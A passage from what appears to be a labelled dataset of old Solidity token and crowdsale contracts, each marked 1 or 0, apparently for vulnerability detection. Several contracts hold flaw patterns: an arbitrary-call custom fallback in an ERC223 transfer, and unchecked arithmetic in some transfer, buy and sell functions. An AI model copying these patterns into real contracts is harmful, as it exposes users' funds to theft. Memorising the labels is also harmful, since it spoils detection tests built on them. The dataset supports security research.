address public owner;
function DSAuth() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
string public symbol = "";
string public name = "";
uint256 public decimals = 18;
function DSToken(
string symbol_,
string name_
) public {
symbol = symbol_;
name = name_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function setName(string name_) public auth {
name = name_;
}
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30153600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x9473d67e3De5aBeb15a242649e76074D32ac683f;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract miningrealmoney {
address public owner;
address public newowner;
function miningrealmoney() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
newowner = _owner;
}
function confirmOwner() public {
require(newowner == msg.sender);
owner = newowner;
}
}
contract Limitedsale is miningrealmoney{
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function Limitedsale() payable miningrealmoney() {
totalSupply = 10000000000;
balanceOf[this] = 2500000000;
balanceOf[owner] = totalSupply - balanceOf[this];
Transfer(this, owner, balanceOf[owner]);
}
function () payable {
require(balanceOf[this] > 0);
uint256 tokens = 300 * msg.value/10000000000000000;
if (tokens > balanceOf[this]) {
tokens = balanceOf[this];
uint valueWei = tokens * 10000000000000000 / 300;
msg.sender.transfer(msg.value - valueWei);
}
require(tokens > 0);
balanceOf[msg.sender] += tokens;
balanceOf[this] -= tokens;
Transfer(this, msg.sender, tokens);
}
}
contract DiXiEnergy is Limitedsale {
string public standart = 'Token 0.1';
string public name = 'DiXiEnergy';
string public symbol = "DXE";
uint8 public decimals = 2;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
}
contract SmartContract is DiXiEnergy {
function SmartContract() payable DiXiEnergy() {}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
} | 1 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
address newOwner;
modifier only(address _allowed) {
require(msg.sender == _allowed);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) public {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) public {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract Token is Owned {
using SafeMath for uint;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
address public crowdsale;
bool public mintable = true;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function setCrowdsale(address _crowdsale) public {
require(crowdsale == 0);
crowdsale = _crowdsale;
}
function transfer(address _to, uint _value) public returns (bool success) {
require(!mintable);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(!mintable);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function multiTransfer(address[] dests, uint[] values) public returns (bool result) {
uint i = 0;
while (i < dests.length) {
result = result || transfer(dests[i], values[i]);
i += 1;
}
return result;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function approve_fixed(address _spender, uint _currentValue, uint _value) public returns (bool success) {
if(allowed[msg.sender][_spender] == _currentValue){
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
function mint(address _to, uint _amount) public returns(bool) {
require(msg.sender == owner || msg.sender == crowdsale);
require(mintable);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function multimint(address[] dests, uint[] values) public returns (uint) {
require(msg.sender == owner || msg.sender == crowdsale);
uint i = 0;
while (i < dests.length) {
mint(dests[i], values[i]);
i += 1;
}
return(i);
}
function deactivateMint() only(owner) public {
require(mintable);
mintable = false;
}
function unMint(address _who) public {
require(balances[_who] > 0);
require(mintable);
require(msg.sender == owner || msg.sender == crowdsale);
totalSupply = totalSupply.sub(balances[_who]);
balances[_who] = 0;
emit Transfer(_who, 0x0, balances[_who]);
}
}
contract Crowdsale is Owned {
mapping(address => uint) contributions;
mapping(address => uint) contributionsUSD;
Token public token;
uint public ETHUSD;
uint public hardCap = 1000000000000000000000000;
uint public softCap = 200000000000000000000000;
bool public active = false;
bool public softCapReached;
bool public hardCapReached;
uint public totalUSD;
uint public totalETH;
address[] public beneficiaries;
address public updater;
uint[] public timestamps = [1544313600, 1545523200, 1546819200, 1547942400, 1549238400, 1550361600, 1551398400];
uint[] public prices = [1000, 1428, 1666, 1739, 1818, 1904, 2000];
modifier only(address _address) {
require(msg.sender == _address);
_;
}
constructor(address _tokenAddress, address _owner, address _updater) public {
token = Token(_tokenAddress);
require(prices.length == timestamps.length);
owner = _owner;
updater = _updater;
beneficiaries.push(0x8A0Dee4fB57041Da7104372004a9Fd80A5aC9716);
beneficiaries.push(0x049d1EC8Af5e1C5E2b79983dAdb68Ca3C7eb37F4);
}
function() payable public {
require(active);
require(!hardCapReached);
contributions[msg.sender] += msg.value;
contributionsUSD[msg.sender] += msg.value*ETHUSD / 10**(uint(18));
uint amount = calculateTokens(msg.value);
totalETH += msg.value;
totalUSD += msg.value*ETHUSD / 10**(uint(18));
token.mint(msg.sender, amount);
if (totalUSD >= softCap ) {
softCapReached = true;
}
if (totalUSD >= hardCap ) {
active = false;
hardCapReached = true;
}
}
function calculateTokens(uint val) view public returns(uint) {
uint amount = val * ETHUSD / currentPrice();
return amount;
}
function currentPrice() constant public returns(uint) {
for (uint i = 0; i < prices.length; i++ ) {
if (now < timestamps[i]) {
return prices[i]*10**uint(17);
}
}
return prices[prices.length-1]*10**uint(17);
}
function updatePrice(uint _newPrice) only(updater) public {
require(msg.sender == updater);
require(_newPrice != 0);
ETHUSD = _newPrice;
}
function activate() only(owner) public {
require(now < timestamps[timestamps.length-1]);
require(!active);
active = true;
}
function deactivate() only(owner) public {
require(active);
active = false;
}
function returnEther(address _contributor) only(owner) public payable {
require(_contributor.send(contributions[_contributor]));
totalETH -= contributions[_contributor];
totalUSD -= contributionsUSD[_contributor];
contributions[_contributor] = 0;
contributionsUSD[_contributor] = 0;
token.unMint(_contributor);
}
function withdrawContributed() only(owner) public {
require(softCapReached);
require(beneficiaries[0].send(address(this).balance/2));
require(beneficiaries[1].send(address(this).balance));
}
} | 0 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract YOKOCHOCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Yokocho coin";
string public symbol = "YOKOCHO";
uint8 public decimals = 16;
uint256 public totalSupply;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public stakeMinAge = 3 days;
uint public stakeMaxAge = 90 days;
uint256 public maxTotalSupply = 45e9 * 1e16;
uint256 public initialTotalSupply = 20e9 * 1e16;
struct transferInStruct{
uint256 amount;
uint64 time;
}
address public admin = 0xF773323FF8ae778E361dCdECCE61c08abfDF2A71;
address public presale = 0x0c1688278814D6D5f1b4cFF9A7380BB6299Ab69E;
address public develop = 0xBbc014cB376811B85AA36188e06BdD25dEaCa0aE;
address public pr = 0x751e6dBdCd7e644EDebf8B056DFb9C7b6F02C765;
address public manage = 0x8617F0e63728E1e7105b9b44912Eb1A253e0056C;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping(address => transferInStruct[]) public transferIns;
event Burn(address indexed burner, uint256 value);
event PosMint(address indexed _address, uint _reward);
constructor () public {
owner = admin;
totalSupply = initialTotalSupply;
balanceOf[owner] = totalSupply;
chainStartTime = now;
chainStartBlockNumber = block.number;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint256(balanceOf[_from]),_now));
transferIns[_to].push(transferInStruct(uint256(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function airdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0);
amounts[j] = amounts[j].mul(1e16);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
uint64 _now = uint64(now);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
transferIns[addresses[j]].push(transferInStruct(uint256(amounts[j]),_now));
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balanceOf[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),_now));
return true;
}
function setStakeStartTime(uint timestamp) onlyOwner public {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner public {
require(_value > 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balanceOf[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
initialTotalSupply = initialTotalSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
emit Burn(msg.sender, _value);
}
function getBlockNumber() constant public returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function posMint() canPoSMint public returns (bool) {
if(balanceOf[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balanceOf[msg.sender] = balanceOf[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint256(balanceOf[msg.sender]),uint64(now)));
emit PosMint(msg.sender, reward);
return true;
}
function coinAge() constant public returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function getCoinAge(address _address, uint _now) internal view returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount).mul(nCoinSeconds).div(1 days));
}
}
function getReward(address _address) internal view returns (uint reward) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint64 _now = uint64(now);
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
reward = _coinAge.mul(45).div(1000).div(365);
return reward;
}
} | 0 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract DreamCoin {
string public constant _myTokeName = 'Dream Coin';
string public constant _mySymbol = 'DC';
uint public constant _myinitialSupply = 100000000;
uint8 public constant _myDecimal = 18;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function DreamCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
decimals = _myDecimal;
totalSupply = _myinitialSupply * (10 ** uint256(_myDecimal));
balanceOf[msg.sender] = totalSupply;
name = _myTokeName;
symbol = _mySymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, DreamCoin {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) DreamCoin(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 |
pragma solidity ^0.4.24;
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
